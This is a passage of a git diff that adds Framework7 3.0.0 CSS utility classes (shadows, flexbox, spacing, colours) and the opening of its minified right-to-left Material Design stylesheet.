0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-9:hover { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-10:hover { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-11:hover { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-12:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-13:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-14:hover { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-15:hover { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-16:hover { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-17:hover { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-18:hover { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-19:hover { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-20:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-21:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-22:hover { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-23:hover { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-24:hover { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-0, +.device-desktop .active-state.elevation-pressed-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.active-state.elevation-pressed-1, +.device-desktop .active-state.elevation-pressed-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-2, +.device-desktop .active-state.elevation-pressed-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-3, +.device-desktop .active-state.elevation-pressed-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-4, +.device-desktop .active-state.elevation-pressed-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-5, +.device-desktop .active-state.elevation-pressed-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-6, +.device-desktop .active-state.elevation-pressed-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-7, +.device-desktop .active-state.elevation-pressed-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-8, +.device-desktop .active-state.elevation-pressed-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-9, +.device-desktop .active-state.elevation-pressed-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-10, +.device-desktop .active-state.elevation-pressed-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-11, +.device-desktop .active-state.elevation-pressed-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-12, +.device-desktop .active-state.elevation-pressed-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-13, +.device-desktop .active-state.elevation-pressed-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-14, +.device-desktop .active-state.elevation-pressed-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-15, +.device-desktop .active-state.elevation-pressed-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-16, +.device-desktop .active-state.elevation-pressed-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-17, +.device-desktop .active-state.elevation-pressed-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-18, +.device-desktop .active-state.elevation-pressed-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-19, +.device-desktop .active-state.elevation-pressed-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-20, +.device-desktop .active-state.elevation-pressed-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-21, +.device-desktop .active-state.elevation-pressed-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-22, +.device-desktop .active-state.elevation-pressed-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-23, +.device-desktop .active-state.elevation-pressed-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-24, +.device-desktop .active-state.elevation-pressed-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-transition-100 { + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition, +.elevation-transition-200 { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-300 { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-400 { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-500 { + -webkit-transition-duration: 500ms; + transition-duration: 500ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +/* === Typography === */ +.display-flex { + display: -webkit-box !important; + display: -webkit-flex !important; + display: -ms-flexbox !important; + display: flex !important; +} +.display-block { + display: block !important; +} +.display-inline-flex { + display: -webkit-inline-box !important; + display: -webkit-inline-flex !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} +.display-inline-block { + display: inline-block !important; +} +.display-inline { + display: inline !important; +} +.display-none { + display: none !important; +} +.flex-shrink-0 { + -webkit-flex-shrink: 0 !important; + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} +.flex-shrink-1 { + -webkit-flex-shrink: 1 !important; + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} +.flex-shrink-2 { + -webkit-flex-shrink: 2 !important; + -ms-flex-negative: 2 !important; + flex-shrink: 2 !important; +} +.flex-shrink-3 { + -webkit-flex-shrink: 3 !important; + -ms-flex-negative: 3 !important; + flex-shrink: 3 !important; +} +.flex-shrink-4 { + -webkit-flex-shrink: 4 !important; + -ms-flex-negative: 4 !important; + flex-shrink: 4 !important; +} +.flex-shrink-5 { + -webkit-flex-shrink: 5 !important; + -ms-flex-negative: 5 !important; + flex-shrink: 5 !important; +} +.flex-shrink-6 { + -webkit-flex-shrink: 6 !important; + -ms-flex-negative: 6 !important; + flex-shrink: 6 !important; +} +.flex-shrink-7 { + -webkit-flex-shrink: 7 !important; + -ms-flex-negative: 7 !important; + flex-shrink: 7 !important; +} +.flex-shrink-8 { + -webkit-flex-shrink: 8 !important; + -ms-flex-negative: 8 !important; + flex-shrink: 8 !important; +} +.flex-shrink-9 { + -webkit-flex-shrink: 9 !important; + -ms-flex-negative: 9 !important; + flex-shrink: 9 !important; +} +.flex-shrink-10 { + -webkit-flex-shrink: 10 !important; + -ms-flex-negative: 10 !important; + flex-shrink: 10 !important; +} +.justify-content-flex-start { + -webkit-box-pack: start !important; + -webkit-justify-content: flex-start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} +.justify-content-center { + -webkit-box-pack: center !important; + -webkit-justify-content: center !important; + -ms-flex-pack: center !important; + justify-content: center !important; +} +.justify-content-flex-end { + -webkit-box-pack: end !important; + -webkit-justify-content: flex-end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} +.justify-content-space-between { + -webkit-box-pack: justify !important; + -webkit-justify-content: space-between !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} +.justify-content-space-around { + -webkit-justify-content: space-around !important; + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} +.justify-content-space-evenly { + -webkit-box-pack: space-evenly !important; + -webkit-justify-content: space-evenly !important; + -ms-flex-pack: space-evenly !important; + justify-content: space-evenly !important; +} +.justify-content-stretch { + -webkit-box-pack: stretch !important; + -webkit-justify-content: stretch !important; + -ms-flex-pack: stretch !important; + justify-content: stretch !important; +} +.justify-content-start { + -webkit-box-pack: start !important; + -webkit-justify-content: start !important; + -ms-flex-pack: start !important; + justify-content: start !important; +} +.justify-content-end { + -webkit-box-pack: end !important; + -webkit-justify-content: end !important; + -ms-flex-pack: end !important; + justify-content: end !important; +} +.justify-content-left { + -webkit-box-pack: left !important; + -webkit-justify-content: left !important; + -ms-flex-pack: left !important; + justify-content: left !important; +} +.justify-content-right { + -webkit-box-pack: right !important; + -webkit-justify-content: right !important; + -ms-flex-pack: right !important; + justify-content: right !important; +} +.align-content-flex-start { + -webkit-align-content: flex-start !important; + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} +.align-content-flex-end { + -webkit-align-content: flex-end !important; + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} +.align-content-center { + -webkit-align-content: center !important; + -ms-flex-line-pack: center !important; + align-content: center !important; +} +.align-content-space-between { + -webkit-align-content: space-between !important; + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} +.align-content-space-around { + -webkit-align-content: space-around !important; + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} +.align-content-stretch { + -webkit-align-content: stretch !important; + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} +.align-items-flex-start { + -webkit-box-align: start !important; + -webkit-align-items: flex-start !important; + -ms-flex-align: start !important; + align-items: flex-start !important; +} +.align-items-flex-end { + -webkit-box-align: end !important; + -webkit-align-items: flex-end !important; + -ms-flex-align: end !important; + align-items: flex-end !important; +} +.align-items-center { + -webkit-box-align: center !important; + -webkit-align-items: center !important; + -ms-flex-align: center !important; + align-items: center !important; +} +.align-items-stretch { + -webkit-box-align: stretch !important; + -webkit-align-items: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important; +} +.align-self-flex-start { + -webkit-align-self: flex-start !important; + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} +.align-self-flex-end { + -webkit-align-self: flex-end !important; + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} +.align-self-center { + -webkit-align-self: center !important; + -ms-flex-item-align: center !important; + align-self: center !important; +} +.align-self-stretch { + -webkit-align-self: stretch !important; + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} +.text-align-left { + text-align: left !important; +} +.text-align-center { + text-align: center !important; +} +.text-align-right { + text-align: right !important; +} +.text-align-justify { + text-align: justify !important; +} +.float-left { + float: left !important; +} +.float-right { + float: right !important; +} +.float-none { + float: none !important; +} +.vertical-align-bottom { + vertical-align: bottom !important; +} +.vertical-align-middle { + vertical-align: middle !important; +} +.vertical-align-top { + vertical-align: top !important; +} +.no-padding { + padding: 0 !important; +} +.no-padding-left { + padding-left: 0 !important; +} +.no-padding-right { + padding-right: 0 !important; +} +.no-padding-top { + padding-top: 0 !important; +} +.no-padding-bottom { + padding-bottom: 0 !important; +} +.no-margin { + margin: 0 !important; +} +.no-margin-left { + margin-left: 0 !important; +} +.no-margin-right { + margin-right: 0 !important; +} +.no-margin-top { + margin-top: 0 !important; +} +.no-margin-bottom { + margin-bottom: 0 !important; +} +.width-auto { + width: auto !important; +} +.width-100 { + width: 100% !important; +} +.md .padding { + padding: 16px !important; +} +.md .padding-top { + padding-top: 16px !important; +} +.md .padding-bottom { + padding-bottom: 16px !important; +} +.md .padding-left { + padding-left: 16px !important; +} +.md .padding-right { + padding-right: 16px !important; +} +.md .padding-vertical { + padding-top: 16px !important; + padding-bottom: 16px !important; +} +.md .padding-horizontal { + padding-left: 16px !important; + padding-right: 16px !important; +} +.md .margin { + margin: 16px !important; +} +.md .margin-top { + margin-top: 16px !important; +} +.md .margin-bottom { + margin-bottom: 16px !important; +} +.md .margin-left { + margin-left: 16px !important; +} +.md .margin-right { + margin-right: 16px !important; +} +.md .margin-vertical { + margin-top: 16px !important; + margin-bottom: 16px !important; +} +.md .margin-horizontal { + margin-left: 16px !important; + margin-right: 16px !important; +} +.md .text-color-red { + color: #f44336 !important; +} +.md .bg-color-red { + background-color: #f44336 !important; +} +.md .border-color-red { + border-color: #f44336 !important; +} +.md .text-color-green { + color: #4caf50 !important; +} +.md .bg-color-green { + background-color: #4caf50 !important; +} +.md .border-color-green { + border-color: #4caf50 !important; +} +.md .text-color-blue { + color: #2196f3 !important; +} +.md .bg-color-blue { + background-color: #2196f3 !important; +} +.md .border-color-blue { + border-color: #2196f3 !important; +} +.md .text-color-pink { + color: #e91e63 !important; +} +.md .bg-color-pink { + background-color: #e91e63 !important; +} +.md .border-color-pink { + border-color: #e91e63 !important; +} +.md .text-color-yellow { + color: #ffeb3b !important; +} +.md .bg-color-yellow { + background-color: #ffeb3b !important; +} +.md .border-color-yellow { + border-color: #ffeb3b !important; +} +.md .text-color-orange { + color: #ff9800 !important; +} +.md .bg-color-orange { + background-color: #ff9800 !important; +} +.md .border-color-orange { + border-color: #ff9800 !important; +} +.md .text-color-gray { + color: #9e9e9e !important; +} +.md .bg-color-gray { + background-color: #9e9e9e !important; +} +.md .border-color-gray { + border-color: #9e9e9e !important; +} +.md .text-color-white { + color: #ffffff !important; +} +.md .bg-color-white { + background-color: #ffffff !important; +} +.md .border-color-white { + border-color: #ffffff !important; +} +.md .text-color-black { + color: #000000 !important; +} +.md .bg-color-black { + background-color: #000000 !important; +} +.md .border-color-black { + border-color: #000000 !important; +} diff --git a/framework7/css/framework7.rtl.md.min.css b/framework7/css/framework7.rtl.md.min.css new file mode 100644 index 0000000..1eddb85 --- /dev/null +++ b/framework7/css/framework7.rtl.md.min.css @@ -0,0 +1,12 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html{direction:rtl}.framework7-root,body,html{position:relative;height:100%;width:100%;overflow-x:hidden}body{margin:0;padding:0;font-size:14px;width:100%;background:#fff;overflow:hidden;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased}.framework7-root{overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.framework7-initializing *,.framework7-initializing :after,.framework7-initializing :before{-webkit-transition-duration:0s!important;transition-duration:0s!important}@media (width:1024px) and (height:691px) and (orientation:landscape){.framework7-root,body,html{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.framework7-root,body,html{height:672px}}*{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}a,input,select,textarea{outline:0}a{cursor:pointer;text-decoration:none}p{margin:1em 0}.disabled{opacity:.55!important;pointer-events:none!important}.md body{font-family:Roboto,Noto,Helvetica,Arial,sans-serif;color:#212121;line-height:1.5}.md .if-ios,.md .ios-only{display:none!important}.md a{color:#2196f3}.md .theme-dark{color:rgba(255,255,255,.87)}.md .color-theme-red a{color:#f44336}.md .color-theme-green a{color:#4caf50}.md .color-theme-blue 